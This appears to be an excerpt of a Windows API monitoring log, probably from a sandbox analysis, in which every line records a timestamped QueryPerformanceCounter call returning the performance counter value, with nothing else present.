[0199.563] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013430535406) returned 1
[0199.583] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013432595427) returned 1
[0199.584] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013432615392) returned 1
[0199.599] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013434176980) returned 1
[0199.599] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013434191910) returned 1
[0199.737] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013447959897) returned 1
[0199.737] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013447978097) returned 1
[0199.749] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013449164873) returned 1
[0199.749] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013449187802) returned 1
[0199.765] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013450780970) returned 1
[0199.766] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013450812485) returned 1
[0199.781] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013452334035) returned 1
[0199.781] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013452367412) returned 1
[0199.799] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013454122144) returned 1
[0199.799] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013454138846) returned 1
[0199.813] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013455527546) returned 1
[0199.813] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013455544368) returned 1
[0199.831] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013457313002) returned 1
[0199.831] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013457330206) returned 1
[0199.846] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013458896157) returned 1
[0199.847] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013458919476) returned 1
[0199.862] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013460488665) returned 1
[0199.863] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013460512538) returned 1
[0199.878] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013462086478) returned 1
[0199.878] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013462110251) returned 1
[0199.894] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013463647160) returned 1
[0199.894] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013463670416) returned 1
[0199.910] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013465234599) returned 1
[0199.910] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013465259123) returned 1
[0199.926] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013466868815) returned 1
[0199.926] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013466887814) returned 1
[0199.942] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013468433208) returned 1
[0199.942] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013468451927) returned 1
[0199.958] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013470034656) returned 1
[0199.958] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013470087578) returned 1
[0199.974] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013471635379) returned 1
[0199.974] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013471659228) returned 1
[0200.007] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013474992785) returned 1
[0200.008] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013475018357) returned 1
[0200.009] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013475134193) returned 1
[0200.009] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013475171223) returned 1
[0200.022] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013476430267) returned 1
[0200.022] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013476448803) returned 1
[0200.076] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013481891378) returned 1
[0200.077] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013481936628) returned 1
[0200.094] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013483676408) returned 1
[0200.094] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013483697030) returned 1
[0200.110] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013485209638) returned 1
[0200.110] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013485228530) returned 1
[0200.128] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013487089012) returned 1
[0200.129] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013487112187) returned 1
[0200.144] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013488659939) returned 1
[0200.144] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013488679048) returned 1
[0200.160] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013490264630) returned 1
[0200.161] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013490308376) returned 1
[0200.186] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013492904526) returned 1
[0200.187] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013492924166) returned 1
[0200.201] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013494316016) returned 1
[0200.201] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013494343435) returned 1
[0200.217] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013495931787) returned 1
[0200.217] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013495955748) returned 1
[0200.233] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013497541442) returned 1
[0200.233] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013497559895) returned 1
[0200.249] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013499118602) returned 1
[0200.249] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013499143101) returned 1
[0200.265] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013500714994) returned 1
[0200.265] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013500738628) returned 1
[0200.281] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013502309239) returned 1
[0200.281] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013502328929) returned 1
[0200.297] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013503912908) returned 1
[0200.297] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013503937842) returned 1
[0200.313] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013505511688) returned 1
[0200.313] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013505533240) returned 1
[0200.329] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013507113905) returned 1
[0200.329] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013507151253) returned 1
[0200.345] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013508721610) returned 1
[0200.345] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013508746034) returned 1
[0200.361] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013510312516) returned 1
[0200.361] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013510337314) returned 1
[0200.377] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013511910129) returned 1
[0200.377] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013511931491) returned 1
[0200.393] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013513514702) returned 1
[0200.393] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013513538759) returned 1
[0200.429] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013517154252) returned 1
[0200.429] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013517173030) returned 1
[0200.441] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013518327967) returned 1
[0200.441] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013518350944) returned 1
[0200.457] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013519969684) returned 1
[0200.457] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013519993085) returned 1
[0200.473] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013521557772) returned 1
[0200.473] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013521576381) returned 1
[0200.489] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013523204593) returned 1
[0200.490] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013523242029) returned 1
[0200.505] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013524792313) returned 1
[0200.506] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013524817063) returned 1
[0200.521] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013526392162) returned 1
[0200.522] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013526417258) returned 1
[0200.537] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013527992957) returned 1
[0200.538] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013528018202) returned 1
[0200.553] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013529594055) returned 1
[0200.554] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013529620071) returned 1
[0200.569] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013531193022) returned 1
[0200.570] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013531212124) returned 1
[0200.591] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013533399442) returned 1
[0200.592] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013533448321) returned 1
[0200.605] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013534794270) returned 1
[0200.606] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013534823109) returned 1
[0200.621] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013536394530) returned 1
[0200.622] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013536435882) returned 1
[0200.638] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013538118330) returned 1
[0200.639] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013538137658) returned 1
[0200.654] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013539637005) returned 1
[0200.654] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013539666418) returned 1
[0200.670] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013541214540) returned 1
[0200.670] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013541229320) returned 1
[0200.781] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013552376111) returned 1
[0200.781] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013552395401) returned 1
[0200.794] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013553683779) returned 1
[0200.795] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013553711251) returned 1
[0200.811] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013555374459) returned 1
[0200.811] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013555393381) returned 1
[0200.826] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013556877694) returned 1
[0200.826] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013556899694) returned 1
[0200.842] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013558479526) returned 1
[0200.842] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013558499029) returned 1
[0200.858] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013560080803) returned 1
[0200.858] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013560100085) returned 1
[0200.874] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013561680543) returned 1
[0200.874] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013561701396) returned 1
[0200.890] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013563280827) returned 1
[0200.890] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013563325820) returned 1
[0200.906] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013564862689) returned 1
[0200.906] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013564880748) returned 1
[0200.922] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013566474379) returned 1
[0200.923] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013566522169) returned 1
[0200.938] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013568025886) returned 1
[0200.938] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013568041474) returned 1
[0200.954] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013569630938) returned 1
[0200.954] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013569646998) returned 1
[0200.970] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013571223519) returned 1
[0200.970] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013571238809) returned 1
[0200.986] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013572904593) returned 1
[0200.987] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013572925698) returned 1
[0201.002] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013574451744) returned 1
[0201.002] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013574472777) returned 1
[0201.018] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013576040546) returned 1
[0201.018] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013576056948) returned 1
[0201.034] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013577646733) returned 1
[0201.034] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013577671594) returned 1
[0201.050] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013579248402) returned 1
[0201.050] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013579273602) returned 1
[0201.067] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013580949190) returned 1
[0201.067] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013580978617) returned 1
[0201.082] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013582427027) returned 1
[0201.082] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013582451138) returned 1
[0201.098] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013584041876) returned 1
[0201.098] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013584060472) returned 1
[0201.114] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013585619984) returned 1
[0201.114] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013585635014) returned 1
[0201.130] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013587219619) returned 1
[0201.130] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013587235685) returned 1
[0201.146] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013588819382) returned 1
[0201.146] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013588836123) returned 1
[0201.162] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013590476938) returned 1
[0201.162] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013590492553) returned 1
[0201.178] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013592072950) returned 1
[0201.178] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013592091896) returned 1
[0201.194] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013593677411) returned 1
[0201.194] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013593702937) returned 1
[0201.213] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013595539641) returned 1
[0201.213] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013595569072) returned 1
[0201.229] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013597107845) returned 1
[0201.229] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013597124658) returned 1
[0201.563] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013630540782) returned 1
[0201.563] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013630569606) returned 1
[0201.568] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013631064272) returned 1
[0201.568] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013631099905) returned 1
[0201.586] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013632899176) returned 1
[0201.587] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013632918627) returned 1
[0201.602] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013634449815) returned 1
[0201.602] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013634466938) returned 1
[0201.618] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013636049242) returned 1
[0201.618] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013636065138) returned 1
[0201.634] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013637649494) returned 1
[0201.634] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013637666194) returned 1
[0201.650] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013639233243) returned 1
[0201.650] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013639254065) returned 1
[0201.666] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013640817051) returned 1
[0201.666] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013640846882) returned 1
[0201.682] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013642422202) returned 1
[0201.682] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013642455121) returned 1
[0201.819] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013656163612) returned 1
[0201.819] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013656190893) returned 1
[0201.832] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013657415454) returned 1
[0201.832] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013657440381) returned 1
[0201.847] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013658997363) returned 1
[0201.848] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013659023097) returned 1
[0201.864] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013660631076) returned 1
[0201.864] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013660651886) returned 1
[0202.026] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013676898149) returned 1
[0202.027] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013676921507) returned 1
[0202.057] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013679984274) returned 1
[0202.058] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013680006098) returned 1
[0202.058] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013680078121) returned 1
[0202.059] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013680106806) returned 1
[0202.070] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013681225685) returned 1
[0202.070] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013681255839) returned 1
[0202.086] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013682825843) returned 1
